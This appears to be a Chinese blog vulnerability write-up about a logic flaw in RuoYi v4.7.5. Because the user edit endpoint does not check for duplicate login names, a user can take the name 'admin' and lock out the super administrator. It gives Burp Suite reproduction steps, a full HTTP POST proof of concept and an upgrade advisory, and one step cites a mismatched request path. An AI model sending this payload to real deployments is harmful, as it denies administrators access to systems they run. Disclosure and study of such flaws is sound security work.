RuoYi 逻辑缺陷漏洞分析

RuoYi 逻辑缺陷漏洞分析

去年八月份挖的,已获得CNVD编号,近期准备跳槽决定拿出来水一下。

项目介绍

RuoYi 是一款基于SpringBoot的权限管理系统,易读易懂、界面简洁美观。核心技术采用Spring、MyBatis、Shiro没有任何其它重度依赖。直接运行即可用。

受影响版本:v4.7.5

官网:http://ruoyi.vip/
源码下载地址:https://gitee.com/y_project/RuoYi/tree/v4.7.5

漏洞分析

缺陷代码分析
文件位置:
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysUserController.java
函数名称:editSave
在这里插入图片描述

修改用户信息的editSave方法中,第171行checkUserAllowed方法首先禁止对userId=1的超级管理员进行信息修改,第172行checkUserDataScope方法判断当前用户的操作权限,接着判断手机号和邮箱账号是否已存在。可以看出,方法中并未对LoginName的值是否重复进行判断,因此可通过修改一个普通用户的LoginName的值与超级管理员相同,导致超级管理员无法登录系统。

漏洞复现步骤

1、系统默认两个用户(超级管理员:admin和测试用户ry),ry默认没有用户管理模块的数据操作权限,所以需要注册一个Test用户完成复现操作。
在这里插入图片描述

2、登录admin账号进入系统创建测试角色。进入系统管理——角色管理——新增,给角色赋予用户管理模块的权限。
在这里插入图片描述

3、进入系统管理——用户管理——添加用户,创建登录账号名为Test的用户(系统用户默认密码为123456),并赋予该用户刚才创建的测试角色。
在这里插入图片描述

4、登录Test用户进入系统后台,进入系统管理——用户管理,页面如下:
在这里插入图片描述

5、可以看到,出于安全的考虑,页面中默认是没有权限对admin用户进行数据操作的。
6、使用Burpsuite开启代理模式,再点击Test用户最右边的操作按钮,下拉选择”修改“,在弹出的修改用户窗口中随机修改一个字段的值,点击确定后获取到数据包(/system/user/edit)如下:
在这里插入图片描述

7、修改数据包 /dev-api/yunze/agent 中的loginName的值为admin,点击发包后返回结果如下:
在这里插入图片描述

8、进入数据库sys_user表中查看修改后的数据如下:
在这里插入图片描述

9、现在已经有两个admin用户了,当再次使用admin登录系统时就会报错,导致登陆失败。

在这里插入图片描述
在这里插入图片描述

漏洞复现完成,POC如下:

POST /system/user/edit HTTP/1.1
Host: localhost
Content-Length: 237
sec-ch-ua: " Not A;Brand";v=“99”, “Chromium”;v=“104”
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
sec-ch-ua-platform: “Windows”
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/system/user/edit/100
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=bec1d37c-5726-4ba7-adb5-6be95eee14f7
Connection: close

userId=100&deptId=100&userName=Test&dept.deptName=%E8%8B%A5%E4%BE%9D%E7%A7%91%E6%8A%80&phonenumber=15100000000&email=Test%40163.com&loginName=admin&sex=0&role=100&remark=%E6%B5%8B%E8%AF%95%E7%94%A8%E6%88%B7&status=0&roleIds=100&postIds=4

修复建议

目前,官方已发布新版本修复本漏洞,请升级到 4.7.6 或更高版本。
修复commit:https://gitee.com/y_project/RuoYi/commit/e337f685bc7d5e3729f1516c0a072b99408ce43a。
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值